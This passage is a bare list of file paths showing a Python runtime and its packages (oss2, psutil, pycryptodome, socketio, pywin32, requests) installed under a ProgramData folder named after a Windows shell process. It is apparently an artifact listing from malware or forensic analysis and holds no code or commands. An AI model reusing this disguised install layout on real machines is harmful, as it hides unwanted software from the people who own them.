        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED\TOOLSHED\C\SETUP.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED\TOOLSHED\C\SHELL.C
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED\TOOLSHED\C\SHELL.PYX
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED\TOOLSHED\C\SYSTEM.C
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED\TOOLSHED\C\SYSTEM.PYX
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED\TOOLSHED\C\TYPES.C
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED\TOOLSHED\C\TYPES.PYX
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED\TOOLSHED\C\__INIT__.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED\TOOLSHED\FILE.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED\TOOLSHED\GIT.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED\TOOLSHED\INK.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED\TOOLSHED\ITER.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED\TOOLSHED\NETWORK.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED\TOOLSHED\PYTHON.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED\TOOLSHED\SHELL.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED\TOOLSHED\STATE.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED\TOOLSHED\SYSTEM.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED\TOOLSHED\TYPES.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED\TOOLSHED\__INIT__.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED\__INIT__.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NTPLIB-0.3.4.DIST-INFO\INSTALLER
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NTPLIB-0.3.4.DIST-INFO\METADATA
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NTPLIB-0.3.4.DIST-INFO\RECORD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NTPLIB-0.3.4.DIST-INFO\REQUESTED
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NTPLIB-0.3.4.DIST-INFO\TOP_LEVEL.TXT
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NTPLIB-0.3.4.DIST-INFO\WHEEL
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NTPLIB.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\OSS2\API.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\OSS2\AUTH.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\OSS2\COMPAT.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\OSS2\DEFAULTS.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\OSS2\EXCEPTIONS.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\OSS2\HTTP.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\OSS2\ITERATORS.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\OSS2\MODELS.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\OSS2\RESUMABLE.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\OSS2\TASK_QUEUE.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\OSS2\UTILS.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\OSS2\XML_UTILS.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\OSS2\__INIT__.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PKG_RESOURCES\EXTERN\__INIT__.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PKG_RESOURCES\_VENDOR\APPDIRS.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PKG_RESOURCES\_VENDOR\PACKAGING\MARKERS.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PKG_RESOURCES\_VENDOR\PACKAGING\REQUIREMENTS.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PKG_RESOURCES\_VENDOR\PACKAGING\SPECIFIERS.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PKG_RESOURCES\_VENDOR\PACKAGING\TAGS.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PKG_RESOURCES\_VENDOR\PACKAGING\UTILS.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PKG_RESOURCES\_VENDOR\PACKAGING\VERSION.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PKG_RESOURCES\_VENDOR\PACKAGING\_COMPAT.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PKG_RESOURCES\_VENDOR\PACKAGING\_STRUCTURES.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PKG_RESOURCES\_VENDOR\PACKAGING\_TYPING.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PKG_RESOURCES\_VENDOR\PACKAGING\__ABOUT__.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PKG_RESOURCES\_VENDOR\PACKAGING\__INIT__.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PKG_RESOURCES\_VENDOR\PYPARSING.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PKG_RESOURCES\_VENDOR\__INIT__.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PKG_RESOURCES\__INIT__.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL-5.8.0.DIST-INFO\INSTALLER
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL-5.8.0.DIST-INFO\LICENSE
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL-5.8.0.DIST-INFO\METADATA
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL-5.8.0.DIST-INFO\RECORD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL-5.8.0.DIST-INFO\REQUESTED
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL-5.8.0.DIST-INFO\TOP_LEVEL.TXT
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL-5.8.0.DIST-INFO\WHEEL
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL\TESTS\RUNNER.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL\TESTS\TEST_AIX.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL\TESTS\TEST_BSD.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL\TESTS\TEST_CONNECTIONS.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL\TESTS\TEST_CONTRACTS.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL\TESTS\TEST_LINUX.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL\TESTS\TEST_MEMLEAKS.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL\TESTS\TEST_MISC.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL\TESTS\TEST_OSX.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL\TESTS\TEST_POSIX.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL\TESTS\TEST_PROCESS.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL\TESTS\TEST_SUNOS.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL\TESTS\TEST_SYSTEM.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL\TESTS\TEST_TESTUTILS.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL\TESTS\TEST_UNICODE.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL\TESTS\TEST_WINDOWS.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL\TESTS\__INIT__.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL\TESTS\__MAIN__.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL\TESTS\__PYCACHE__\RUNNER.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL\TESTS\__PYCACHE__\TEST_AIX.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL\TESTS\__PYCACHE__\TEST_BSD.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL\TESTS\__PYCACHE__\TEST_CONNECTIONS.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL\TESTS\__PYCACHE__\TEST_CONTRACTS.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL\TESTS\__PYCACHE__\TEST_LINUX.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL\TESTS\__PYCACHE__\TEST_MEMLEAKS.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL\TESTS\__PYCACHE__\TEST_MISC.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL\TESTS\__PYCACHE__\TEST_OSX.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL\TESTS\__PYCACHE__\TEST_POSIX.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL\TESTS\__PYCACHE__\TEST_PROCESS.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL\TESTS\__PYCACHE__\TEST_SUNOS.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL\TESTS\__PYCACHE__\TEST_SYSTEM.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL\TESTS\__PYCACHE__\TEST_TESTUTILS.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL\TESTS\__PYCACHE__\TEST_UNICODE.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL\TESTS\__PYCACHE__\TEST_WINDOWS.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL\TESTS\__PYCACHE__\__INIT__.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL\TESTS\__PYCACHE__\__MAIN__.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL\_COMMON.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL\_COMPAT.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL\_PSAIX.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL\_PSBSD.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL\_PSLINUX.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL\_PSOSX.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL\_PSPOSIX.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL\_PSSUNOS.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL\_PSUTIL_WINDOWS.CP37-WIN_AMD64.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL\_PSWINDOWS.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL\__INIT__.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL\__PYCACHE__\_COMMON.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL\__PYCACHE__\_COMPAT.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL\__PYCACHE__\_PSAIX.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL\__PYCACHE__\_PSBSD.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL\__PYCACHE__\_PSLINUX.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL\__PYCACHE__\_PSOSX.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL\__PYCACHE__\_PSPOSIX.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL\__PYCACHE__\_PSSUNOS.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL\__PYCACHE__\_PSWINDOWS.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL\__PYCACHE__\__INIT__.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYCPARSER-2.20.DIST-INFO\INSTALLER
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYCPARSER-2.20.DIST-INFO\LICENSE
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYCPARSER-2.20.DIST-INFO\METADATA
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYCPARSER-2.20.DIST-INFO\RECORD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYCPARSER-2.20.DIST-INFO\TOP_LEVEL.TXT
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYCPARSER-2.20.DIST-INFO\WHEEL
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYCPARSER\AST_TRANSFORMS.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYCPARSER\C_AST.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYCPARSER\C_GENERATOR.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYCPARSER\C_LEXER.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYCPARSER\C_PARSER.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYCPARSER\LEXTAB.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYCPARSER\PLYPARSER.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYCPARSER\PLY\CPP.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYCPARSER\PLY\CTOKENS.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYCPARSER\PLY\LEX.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYCPARSER\PLY\YACC.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYCPARSER\PLY\YGEN.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYCPARSER\PLY\__INIT__.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYCPARSER\YACCTAB.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYCPARSER\_AST_GEN.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYCPARSER\_BUILD_TABLES.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYCPARSER\_C_AST.CFG
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYCPARSER\__INIT__.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYCRYPTODOME-3.9.9.DIST-INFO\AUTHORS.RST
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYCRYPTODOME-3.9.9.DIST-INFO\INSTALLER
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYCRYPTODOME-3.9.9.DIST-INFO\LICENSE.RST
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYCRYPTODOME-3.9.9.DIST-INFO\METADATA
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYCRYPTODOME-3.9.9.DIST-INFO\RECORD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYCRYPTODOME-3.9.9.DIST-INFO\REQUESTED
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYCRYPTODOME-3.9.9.DIST-INFO\TOP_LEVEL.TXT
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYCRYPTODOME-3.9.9.DIST-INFO\WHEEL
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYTHONCOM.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYTHON_ENGINEIO-3.13.2.DIST-INFO\INSTALLER
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYTHON_ENGINEIO-3.13.2.DIST-INFO\LICENSE
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYTHON_ENGINEIO-3.13.2.DIST-INFO\METADATA
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYTHON_ENGINEIO-3.13.2.DIST-INFO\RECORD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYTHON_ENGINEIO-3.13.2.DIST-INFO\REQUESTED
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYTHON_ENGINEIO-3.13.2.DIST-INFO\TOP_LEVEL.TXT
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYTHON_ENGINEIO-3.13.2.DIST-INFO\WHEEL
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYTHON_SOCKETIO-4.6.0.DIST-INFO\INSTALLER
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYTHON_SOCKETIO-4.6.0.DIST-INFO\LICENSE
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYTHON_SOCKETIO-4.6.0.DIST-INFO\METADATA
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYTHON_SOCKETIO-4.6.0.DIST-INFO\RECORD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYTHON_SOCKETIO-4.6.0.DIST-INFO\REQUESTED
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYTHON_SOCKETIO-4.6.0.DIST-INFO\TOP_LEVEL.TXT
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYTHON_SOCKETIO-4.6.0.DIST-INFO\WHEEL
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYWIN32-300.DIST-INFO\INSTALLER
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYWIN32-300.DIST-INFO\METADATA
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYWIN32-300.DIST-INFO\RECORD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYWIN32-300.DIST-INFO\REQUESTED
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYWIN32-300.DIST-INFO\TOP_LEVEL.TXT
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYWIN32-300.DIST-INFO\WHEEL
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYWIN32.PTH
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYWIN32.VERSION.TXT
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYWIN32_SYSTEM32\PYTHONCOM37.DLL
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYWIN32_SYSTEM32\PYWINTYPES37.DLL
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYYAML-5.3.1.DIST-INFO\INSTALLER
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYYAML-5.3.1.DIST-INFO\LICENSE
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYYAML-5.3.1.DIST-INFO\METADATA
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYYAML-5.3.1.DIST-INFO\RECORD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYYAML-5.3.1.DIST-INFO\WHEEL
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\REQUESTS-2.25.1.DIST-INFO\INSTALLER
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\REQUESTS-2.25.1.DIST-INFO\LICENSE
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\REQUESTS-2.25.1.DIST-INFO\METADATA
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\REQUESTS-2.25.1.DIST-INFO\RECORD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\REQUESTS-2.25.1.DIST-INFO\REQUESTED
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\REQUESTS-2.25.1.DIST-INFO\TOP_LEVEL.TXT
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\REQUESTS-2.25.1.DIST-INFO\WHEEL
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\REQUESTS\ADAPTERS.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\REQUESTS\API.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\REQUESTS\AUTH.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\REQUESTS\CERTS.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\REQUESTS\COMPAT.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\REQUESTS\COOKIES.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\REQUESTS\EXCEPTIONS.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\REQUESTS\HELP.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\REQUESTS\HOOKS.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\REQUESTS\MODELS.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\REQUESTS\PACKAGES.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\REQUESTS\SESSIONS.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\REQUESTS\STATUS_CODES.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\REQUESTS\STRUCTURES.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\REQUESTS\UTILS.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\REQUESTS\_INTERNAL_UTILS.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\REQUESTS\__INIT__.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\REQUESTS\__VERSION__.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS-51.0.0.DIST-INFO\DEPENDENCY_LINKS.TXT
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS-51.0.0.DIST-INFO\ENTRY_POINTS.TXT
